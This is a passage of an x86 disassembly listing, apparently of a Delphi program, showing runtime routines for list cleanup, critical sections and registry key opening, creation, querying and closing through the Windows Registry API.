		call	sub_40003C6C
		lea	edx, [ebp+var_104]
		mov	eax, edi
		call	sub_40004AE8
		mov	eax, ebx
		mov	si, 0FFFFh
		call	sub_40003EC8
		test	eax, eax
		jz	short loc_40013CAF
		mov	eax, ebx
		mov	si, 0FFFFh
		call	sub_40003EC8
		lea	edx, [ebp+var_4]
		mov	si, 0FFFEh
		call	sub_40003EC8
		cmp	[ebp+var_4], 0
		jz	short loc_40013CAF
		push	[ebp+var_4]
		push	offset dword_40013CDC
		push	dword ptr [edi]
		mov	eax, edi
		mov	edx, 3
		call	sub_40004C08


loc_40013CAF:				; CODE XREF: sub_40013C30+4Aj
					; sub_40013C30+67j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40013CCC


loc_40013CBC:				; CODE XREF: sub_40013C30+9Aj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40013CC5:				; DATA XREF: sub_40013C30+18o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40013CBC
; ---------------------------------------------------------------------------


loc_40013CCC:				; CODE XREF: sub_40013C30+94j
					; DATA XREF: sub_40013C30+87o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40013C30	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_40013CDC	dd 2Eh		; ---------------------------------------------------------------------------


loc_40013CE0:				; DATA XREF: .text:4001315Ao
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40013CE4	proc near		; CODE XREF: sub_40013ED4+36p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		cmp	ds:dword_4001F2E0, 0
		jz	loc_40013D86
		mov	eax, ds:dword_4001F2E0
		call	sub_40013AA4
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40013D7F
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [edi+8]
		dec	ebx
		cmp	ebx, 0
		jl	short loc_40013D67


loc_40013D23:				; CODE XREF: sub_40013CE4+81j
		mov	edx, ebx
		mov	eax, edi
		call	sub_400137FC
		mov	esi, eax
		cmp	[ebp+var_4], 0
		jz	short loc_40013D3C
		mov	eax, [esi+8]
		cmp	eax, [ebp+var_4]
		jnz	short loc_40013D61


loc_40013D3C:				; CODE XREF: sub_40013CE4+4Ej
		cmp	[ebp+var_8], 0
		jz	short loc_40013D51
		mov	edx, [esi+10h]
		mov	eax, [ebp+var_8]
		call	sub_40007B90
		test	al, al
		jz	short loc_40013D61


loc_40013D51:				; CODE XREF: sub_40013CE4+5Cj
		mov	edx, ebx
		mov	eax, edi
		call	sub_40013708
		mov	eax, esi
		call	sub_40003CE8


loc_40013D61:				; CODE XREF: sub_40013CE4+56j
					; sub_40013CE4+6Bj
		dec	ebx
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40013D23


loc_40013D67:				; CODE XREF: sub_40013CE4+3Dj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40013D86


loc_40013D74:				; CODE XREF: sub_40013CE4+A0j
		mov	eax, ds:dword_4001F2E0
		call	sub_40013B08
		retn
; ---------------------------------------------------------------------------


loc_40013D7F:				; DATA XREF: sub_40013CE4+2Bo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40013D74
; ---------------------------------------------------------------------------


loc_40013D86:				; CODE XREF: sub_40013CE4+16j
					; sub_40013CE4+9Aj
					; DATA XREF: ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_40013CE4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40013D90	proc near		; CODE XREF: sub_40013B14+Dp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		cmp	ds:dword_4001F2E0, 0
		jz	short loc_40013E0E
		mov	eax, ds:dword_4001F2E0
		call	sub_40013AA4
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40013E07
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [edi+8]
		dec	ebx
		cmp	ebx, 0
		jl	short loc_40013DEF


loc_40013DC6:				; CODE XREF: sub_40013D90+5Dj
		mov	edx, ebx
		mov	eax, edi
		call	sub_400137FC
		mov	esi, eax
		mov	eax, [esi+4]
		cmp	eax, [ebp+var_4]
		jnz	short loc_40013DE9
		mov	edx, ebx
		mov	eax, edi
		call	sub_40013708
		mov	eax, esi
		call	sub_40003CE8


loc_40013DE9:				; CODE XREF: sub_40013D90+47j
		dec	ebx
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40013DC6


loc_40013DEF:				; CODE XREF: sub_40013D90+34j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40013E0E


loc_40013DFC:				; CODE XREF: sub_40013D90+7Cj
		mov	eax, ds:dword_4001F2E0
		call	sub_40013B08
		retn
; ---------------------------------------------------------------------------


loc_40013E07:				; DATA XREF: sub_40013D90+22o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40013DFC
; ---------------------------------------------------------------------------


loc_40013E0E:				; CODE XREF: sub_40013D90+11j
					; sub_40013D90+76j
					; DATA XREF: ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_40013D90	endp


; =============== S U B	R O U T	I N E =======================================



sub_40013E14	proc near		; CODE XREF: sub_400191F8+1Ap
		push	offset dword_4001F2E4
		call	sub_400065E0	; InitializeCriticalSection
		push	offset dword_40013E44
		push	0
		push	0FFFFFFFFh
		push	0
		call	sub_40006508	; CreateEventA
		mov	ds:dword_4001F2CC, eax
		cmp	ds:dword_4001F2CC, 0
		jnz	short locret_40013E41
		call	sub_4000C410

locret_40013E41:			; CODE XREF: sub_40013E14+26j
		retn
sub_40013E14	endp

; ---------------------------------------------------------------------------
		align 4
dword_40013E44	dd 0		
; =============== S U B	R O U T	I N E =======================================



sub_40013E48	proc near		; CODE XREF: sub_40013ED4+7Dp
		push	offset dword_4001F2E4
		call	sub_40006518	; RtlDeleteCriticalSection
		mov	eax, ds:dword_4001F2CC
		push	eax
		call	sub_400064F0	; CloseHandle
		retn
sub_40013E48	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40013E60	proc near		; CODE XREF: sub_40013ED4+2Dp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:dword_4001F2D4
		call	sub_40013AA4
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40013EB5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [edi+8]
		dec	ebx
		test	ebx, ebx
		jl	short loc_40013E9D
		inc	ebx
		xor	esi, esi


loc_40013E8B:				; CODE XREF: sub_40013E60+3Bj
		mov	edx, esi
		mov	eax, edi
		call	sub_400137FC
		call	sub_40003CE8
		inc	esi
		dec	ebx
		jnz	short loc_40013E8B


loc_40013E9D:				; CODE XREF: sub_40013E60+26j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40013EBC


loc_40013EAA:				; CODE XREF: sub_40013E60+5Aj
		mov	eax, ds:dword_4001F2D4
		call	sub_40013B08
		retn
; ---------------------------------------------------------------------------


loc_40013EB5:				; DATA XREF: sub_40013E60+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40013EAA
; ---------------------------------------------------------------------------


loc_40013EBC:				; CODE XREF: sub_40013E60+54j
					; DATA XREF: sub_40013E60+45o
		mov	eax, ds:dword_4001F2D4
		call	sub_40003CE8
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40013E60	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40013ECC	proc near		; DATA XREF: sub_40013ED4+69o
					; sub_400191F8+1Fo
		call	sub_40013510
		retn
sub_40013ECC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40013ED4	proc near		; DATA XREF: .text:40018398o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40013F78
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4001F2D0
		jnz	short loc_40013F6A
		mov	eax, ds:dword_4001E7F8
		call	sub_40013510
		mov	eax, ds:dword_4001F2C8
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		call	sub_40013E60
		xor	edx, edx
		xor	eax, eax
		call	sub_40013CE4
		mov	eax, offset dword_4001F2E0
		call	sub_4000C970
		call	sub_40006428
		lea	eax, [eax+8]
		call	sub_4000C970
		mov	eax, offset dword_4001F2D8
		call	sub_4000C970
		mov	eax, offset dword_4001F2C8
		call	sub_40006204
		mov	eax, offset sub_40013ECC
		call	sub_4000609C
		mov	eax, offset dword_4001AA94
		call	sub_4000C970
		call	sub_40013E48
		mov	eax, offset dword_4001F2DC
		call	sub_4000C970
		mov	eax, offset dword_4001F2C8
		call	sub_40006204


loc_40013F6A:				; CODE XREF: sub_40013ED4+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40013F7F


loc_40013F77:				; CODE XREF: sub_40013ED4+A9j
		retn
; ---------------------------------------------------------------------------


loc_40013F78:				; DATA XREF: sub_40013ED4+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40013F77
; ---------------------------------------------------------------------------


loc_40013F7F:				; CODE XREF: sub_40013ED4:loc_40013F77j
					; DATA XREF: sub_40013ED4+9Eo
		pop	ebp
		retn
sub_40013ED4	endp

; ---------------------------------------------------------------------------
		align 4
off_40013F84	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF68o
		dd 0FF92h, 0FFFFFFFFh, 1
dword_40013F94	dd 30h,	0FFFFFFFFh, 1, 31h					; .data:4001AA9Co

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40013FA4	proc near		; DATA XREF: .text:400183A0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40013FE0
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4001F2FC
		jnz	short loc_40013FD2
		mov	eax, offset off_4001AA98
		mov	ecx, 2
		mov	edx, ds:off_40001000
		call	sub_40005314


loc_40013FD2:				; CODE XREF: sub_40013FA4+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40013FE7


loc_40013FDF:				; CODE XREF: sub_40013FA4+41j
		retn
; ---------------------------------------------------------------------------


loc_40013FE0:				; DATA XREF: sub_40013FA4+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40013FDF
; ---------------------------------------------------------------------------


loc_40013FE7:				; CODE XREF: sub_40013FA4:loc_40013FDFj
					; DATA XREF: sub_40013FA4+36o
		pop	ebp
		retn
sub_40013FA4	endp

; ---------------------------------------------------------------------------
		align 4
off_40013FEC	dd offset dword_40014038 ; DATA	XREF: sub_400140B4+19r
					; sub_4001464C+50r ...
		dd 7 dup(0)
		dd offset dword_40014038
		dd 0Ch
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40014038	dd 65524512h, 74736967h, 78457972h, 74706563h, 906E6F69h
					; DATA XREF: .text:off_40013FECo
					; .text:4001400Co
off_4001404C	dd offset dword_40014098 ; DATA	XREF: .itext:400194A4r
					; .itext:40019505r
		dd 2 dup(0)
		dd offset dword_40014098
		dd 4 dup(0)
		dd offset word_400140AA
		dd 1Ch
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40014190
dword_40014098	dd 0Eh,	10000h						; .text:40014058o
		db 2 dup(0)
		dd offset off_40001000
		dw 10h
		db 2 dup(0)
word_400140AA	dw 5409h		; DATA XREF: .text:4001406Co
		dd 69676552h, 79727473h

; =============== S U B	R O U T	I N E =======================================



sub_400140B4	proc near		; CODE XREF: sub_400145D4+62p

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8

		push	ebx
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		mov	[esp+0Ch+var_C], ebx
		mov	[esp+0Ch+var_8], 0Bh
		push	esp
		push	0
		mov	ecx, off_4001AF7C
		mov	dl, 1
		mov	eax, ds:off_40013FEC
		call	sub_4000B128
		call	sub_400042E4
		pop	ecx
		pop	edx
		pop	ebx
		retn
sub_400140B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_400140E0	proc near		; CODE XREF: sub_40014250+2Fp
					; sub_40014374+2Cp
		push	ebx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_400140F0
		cmp	byte ptr [ebx],	5Ch
		jnz	short loc_400140F0
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_400140F0:				; CODE XREF: sub_400140E0+5j
					; sub_400140E0+Aj
		mov	al, 1
		pop	ebx
		retn
sub_400140E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_400140F4	proc near		; CODE XREF: sub_4001464C+14p
		dec	al
		jz	short loc_40014106
		dec	al
		jz	short loc_4001410C
		dec	al
		jz	short loc_40014112
		dec	al
		jz	short loc_40014118
		jmp	short loc_4001411E
; ---------------------------------------------------------------------------


loc_40014106:				; CODE XREF: sub_400140F4+2j
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4001410C:				; CODE XREF: sub_400140F4+6j
		mov	eax, 2
		retn
; ---------------------------------------------------------------------------


loc_40014112:				; CODE XREF: sub_400140F4+Aj
		mov	eax, 4
		retn
; ---------------------------------------------------------------------------


loc_40014118:				; CODE XREF: sub_400140F4+Ej
		mov	eax, 3
		retn
; ---------------------------------------------------------------------------


loc_4001411E:				; CODE XREF: sub_400140F4+10j
		xor	eax, eax
		retn
sub_400140F4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40014124	proc near		; CODE XREF: sub_4001452C+3Fp
					; sub_400146B4+5Ep
		cmp	eax, 1
		jnz	short loc_4001412C
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_4001412C:				; CODE XREF: sub_40014124+3j
		cmp	eax, 2
		jnz	short loc_40014135
		mov	al, 2
		jmp	short locret_40014149
; ---------------------------------------------------------------------------


loc_40014135:				; CODE XREF: sub_40014124+Bj
		cmp	eax, 4
		jnz	short loc_4001413E
		mov	al, 3
		jmp	short locret_40014149
; ---------------------------------------------------------------------------


loc_4001413E:				; CODE XREF: sub_40014124+14j
		cmp	eax, 3
		jnz	short loc_40014147
		mov	al, 4
		jmp	short locret_40014149
; ---------------------------------------------------------------------------


loc_40014147:				; CODE XREF: sub_40014124+1Dj
		xor	eax, eax

locret_40014149:			; CODE XREF: sub_40014124+Fj
					; sub_40014124+18j ...
		retn
sub_40014124	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4001414C	proc near		; CODE XREF: .itext:400194A9p
					; .itext:4001950Ap
		push	ebx
		push	esi
		test	dl, dl
		jz	short loc_4001415A
		add	esp, 0FFFFFFF0h
		call	sub_40003F30


loc_4001415A:				; CODE XREF: sub_4001414C+4j
		mov	ebx, edx
		mov	esi, eax
		mov	edx, 80000001h
		mov	eax, esi
		call	sub_400141EC
		mov	dword ptr [esi+18h], 0F003Fh
		mov	byte ptr [esi+0Ch], 1
		mov	eax, esi
		test	bl, bl
		jz	short loc_4001418A
		call	sub_40003F88
		pop	large dword ptr	fs:0
		add	esp, 0Ch


loc_4001418A:				; CODE XREF: sub_4001414C+2Dj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4001414C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40014190	proc near		; DATA XREF: .text:40014094o
		push	ebx
		push	esi
		call	sub_40003FD8
		mov	ebx, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_400141BC
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_40003CD8
		test	bl, bl
		jle	short loc_400141B9
		mov	eax, esi
		call	sub_40003F80


loc_400141B9:				; CODE XREF: sub_40014190+20j
		pop	esi
		pop	ebx
		retn
sub_40014190	endp


; =============== S U B	R O U T	I N E =======================================



sub_400141BC	proc near		; CODE XREF: sub_40014190+Dp
					; sub_400141EC+22p ...
		push	ebx
		mov	ebx, eax
		mov	eax, [ebx+4]
		test	eax, eax
		jz	short loc_400141E8
		cmp	byte ptr [ebx+0Ch], 0
		jnz	short loc_400141D2
		push	eax
		call	sub_400064D0	; RegFlushKey


loc_400141D2:				; CODE XREF: sub_400141BC+Ej
		mov	eax, [ebx+4]
		push	eax
		call	sub_400064C0	; RegCloseKey
		xor	eax, eax
		mov	[ebx+4], eax
		lea	eax, [ebx+10h]
		call	sub_40004884


loc_400141E8:				; CODE XREF: sub_400141BC+8j
		pop	ebx
		retn
sub_400141BC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400141EC	proc near		; CODE XREF: sub_4001414C+19p
					; .itext:400194B7p ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, [ebx+8]
		cmp	esi, eax
		jz	short loc_40014213
		cmp	byte ptr [ebx+14h], 0
		jz	short loc_40014209
		push	eax
		call	sub_400064C0	; RegCloseKey
		mov	byte ptr [ebx+14h], 0


loc_40014209:				; CODE XREF: sub_400141EC+11j
		mov	[ebx+8], esi
		mov	eax, ebx
		call	sub_400141BC


loc_40014213:				; CODE XREF: sub_400141EC+Bj
		pop	esi
		pop	ebx
		retn
sub_400141EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40014218	proc near		; CODE XREF: sub_40014250+EAp
					; sub_40014374+AFp ...
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_400141BC
		mov	[ebx+4], esi
		lea	eax, [ebx+10h]
		mov	edx, edi
		call	sub_400048D8
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40014218	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4001423C	proc near		; CODE XREF: sub_40014250+74p
					; sub_40014250+A8p ...
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_40014247
		test	dl, dl
		jnz	short loc_4001424B


loc_40014247:				; CODE XREF: sub_4001423C+5j
		mov	eax, [eax+8]
		retn
; ---------------------------------------------------------------------------


loc_4001424B:				; CODE XREF: sub_4001423C+9j
		mov	eax, ecx
		retn
sub_4001423C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40014250	proc near		; CODE XREF: .itext:400194C5p
					; .itext:40019526p

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5], cl
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40014355
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		mov	edx, ebx
		call	sub_4000491C
		mov	eax, [ebp+var_4]
		call	sub_400140E0
		mov	ebx, eax
		test	bl, bl
		jnz	short loc_4001429C
		lea	eax, [ebp+var_4]
		mov	ecx, 1
		mov	edx, 1
		call	sub_40004DE8


loc_4001429C:				; CODE XREF: sub_40014250+38j
		xor	eax, eax
		mov	[ebp+var_C], eax
		cmp	[ebp+var_5], 0
		jz	short loc_400142AD
		cmp	[ebp+var_4], 0
		jnz	short loc_400142D7


loc_400142AD:				; CODE XREF: sub_40014250+55j
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, [esi+18h]
		push	eax
		push	0
		mov	eax, [ebp+var_4]
		call	sub_40004D48
		push	eax
		mov	edx, ebx
		mov	eax, esi
		call	sub_4001423C
		push	eax
		call	sub_400064D8	; RegOpenKeyExA
		test	eax, eax
		setz	[ebp+var_6]
		jmp	short loc_40014309
; ---------------------------------------------------------------------------


loc_400142D7:				; CODE XREF: sub_40014250+5Bj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		mov	eax, [esi+18h]
		push	eax
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_4]
		call	sub_40004D48
		push	eax
		mov	edx, ebx
		mov	eax, esi
		call	sub_4001423C
		push	eax
		call	sub_400064C8	; RegCreateKeyExA
		test	eax, eax
		setz	[ebp+var_6]


loc_40014309:				; CODE XREF: sub_40014250+85j
		cmp	[ebp+var_6], 0
		jz	short loc_4001433F
		cmp	dword ptr [esi+4], 0
		setnz	al
		test	bl, al
		jz	short loc_40014332
		push	dword ptr [esi+10h]
		push	offset dword_40014370
		push	[ebp+var_4]
		lea	eax, [ebp+var_4]
		mov	edx, 3
		call	sub_40004C08


loc_40014332:				; CODE XREF: sub_40014250+C8j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_40014218


loc_4001433F:				; CODE XREF: sub_40014250+BDj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4001435C


loc_4001434C:				; CODE XREF: sub_40014250+10Aj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40014355:				; DATA XREF: sub_40014250+17o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4001434C
; ---------------------------------------------------------------------------


loc_4001435C:				; CODE XREF: sub_40014250+104j
					; DATA XREF: sub_40014250+F7o
		movzx	eax, [ebp+var_6]
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40014250	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_40014370	dd 5Ch		
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40014374	proc near

var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_4], ecx
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4001450E
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_4]
		mov	edx, ebx
		call	sub_4000491C
		mov	eax, [ebp+var_4]
		call	sub_400140E0
		mov	ebx, eax
		test	bl, bl
		jnz	short loc_400143BD
		lea	eax, [ebp+var_4]
		mov	ecx, 1
		mov	edx, 1
		call	sub_40004DE8


loc_400143BD:				; CODE XREF: sub_40014374+35j
		xor	eax, eax
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	20019h
		push	0
		mov	eax, [ebp+var_4]
		call	sub_40004D48
		push	eax
		mov	edx, ebx
		mov	eax, esi
		call	sub_4001423C
		push	eax
		call	sub_400064D8	; RegOpenKeyExA
		test	eax, eax
		setz	[ebp+var_5]
		cmp	[ebp+var_5], 0
		jz	short loc_4001442D
		mov	dword ptr [esi+18h], 20019h
		cmp	dword ptr [esi+4], 0
		setnz	al
		test	bl, al
		jz	short loc_4001441B
		push	dword ptr [esi+10h]
		push	offset dword_40014528
		push	[ebp+var_4]
		lea	eax, [ebp+var_4]
		mov	edx, 3
		call	sub_40004C08


loc_4001441B:				; CODE XREF: sub_40014374+8Dj
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_40014218
		jmp	loc_400144F8
; ---------------------------------------------------------------------------


loc_4001442D:				; CODE XREF: sub_40014374+7Bj
		lea	eax, [ebp+var_C]
		push	eax
		push	20009h
		push	0
		mov	eax, [ebp+var_4]
		call	sub_40004D48
		push	eax
		mov	edx, ebx
		mov	eax, esi
		call	sub_4001423C
		push	eax
		call	sub_400064D8	; RegOpenKeyExA
		test	eax, eax
		setz	[ebp+var_5]
		cmp	[ebp+var_5], 0
		jz	short loc_40014495
		mov	dword ptr [esi+18h], 20009h
		cmp	dword ptr [esi+4], 0
		setnz	al
		test	bl, al
		jz	short loc_40014486
		push	dword ptr [esi+10h]
		push	offset dword_40014528
		push	[ebp+var_4]
		lea	eax, [ebp+var_4]
		mov	edx, 3
		call	sub_40004C08


loc_40014486:				; CODE XREF: sub_40014374+F8j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_40014218
		jmp	short loc_400144F8
; ---------------------------------------------------------------------------


loc_40014495:				; CODE XREF: sub_40014374+E6j
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		push	0
		mov	eax, [ebp+var_4]
		call	sub_40004D48
		push	eax
		mov	edx, ebx
		mov	eax, esi
		call	sub_4001423C
		push	eax
		call	sub_400064D8	; RegOpenKeyExA
		test	eax, eax
		setz	[ebp+var_5]
		cmp	[ebp+var_5], 0
		jz	short loc_400144F8
		mov	dword ptr [esi+18h], 1
		cmp	dword ptr [esi+4], 0
		setnz	al
		test	bl, al
		jz	short loc_400144EB
		push	dword ptr [esi+10h]
		push	offset dword_40014528
		push	[ebp+var_4]
		lea	eax, [ebp+var_4]
		mov	edx, 3
		call	sub_40004C08


loc_400144EB:				; CODE XREF: sub_40014374+15Dj
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_40014218


loc_400144F8:				; CODE XREF: sub_40014374+B4j
					; sub_40014374+11Fj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40014515


loc_40014505:				; CODE XREF: sub_40014374+19Fj
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_4001450E:				; DATA XREF: sub_40014374+14o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40014505
; ---------------------------------------------------------------------------


loc_40014515:				; CODE XREF: sub_40014374+199j
					; DATA XREF: sub_40014374+18Co
		movzx	eax, [ebp+var_5]
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40014374	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFFFFFh, 1
dword_40014528	dd 5Ch							; sub_40014374+FDo ...

; =============== S U B	R O U T	I N E =======================================



sub_4001452C	proc near		; CODE XREF: sub_4001457C+Fp

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	ebp, ecx
		mov	edi, edx
		mov	esi, eax
		mov	eax, ebp
		xor	ecx, ecx
		mov	edx, 8
		call	sub_40003580
		lea	eax, [ebp+4]
		push	eax
		push	0
		lea	eax, [esp+1Ch+var_14]
		push	eax
		push	0
		mov	eax, edi
		call	sub_40004D48
		push	eax
		mov	eax, [esi+4]
		push	eax
		call	sub_400064E0	; RegQueryValueExA
		test	eax, eax
		setz	bl
		mov	eax, [esp+14h+var_14]
		call	sub_40014124
		mov	[ebp+0], al
		mov	eax, ebx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4001452C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4001457C	proc near		; CODE XREF: sub_400145D4+Fp

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	ebx, eax
		mov	ecx, esp
		mov	edx, esi
		mov	eax, ebx
		call	sub_4001452C
		test	al, al
		jz	short loc_4001459A
		mov	eax, [esp+10h+var_C]
		jmp	short loc_4001459D
; ---------------------------------------------------------------------------


loc_4001459A:				; CODE XREF: sub_4001457C+16j
		or	eax, 0FFFFFFFFh


loc_4001459D:				; CODE XREF: sub_4001457C+1Cj
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_4001457C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400145A4	proc near		; CODE XREF: .itext:400194F7p
					; .itext:40019558p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	edi, ecx
		mov	ebp, edx
		mov	esi, eax
		mov	ebx, edi
		test	ebx, ebx
		jz	short loc_400145B9
		sub	ebx, 4
		mov	ebx, [ebx]


loc_400145B9:				; CODE XREF: sub_400145A4+Ej
		inc	ebx
		push	ebx
		push	1
		mov	eax, edi
		call	sub_40004D48
		mov	ecx, eax
		mov	edx, ebp
		mov	eax, esi
		call	sub_4001464C
		pop	ebp
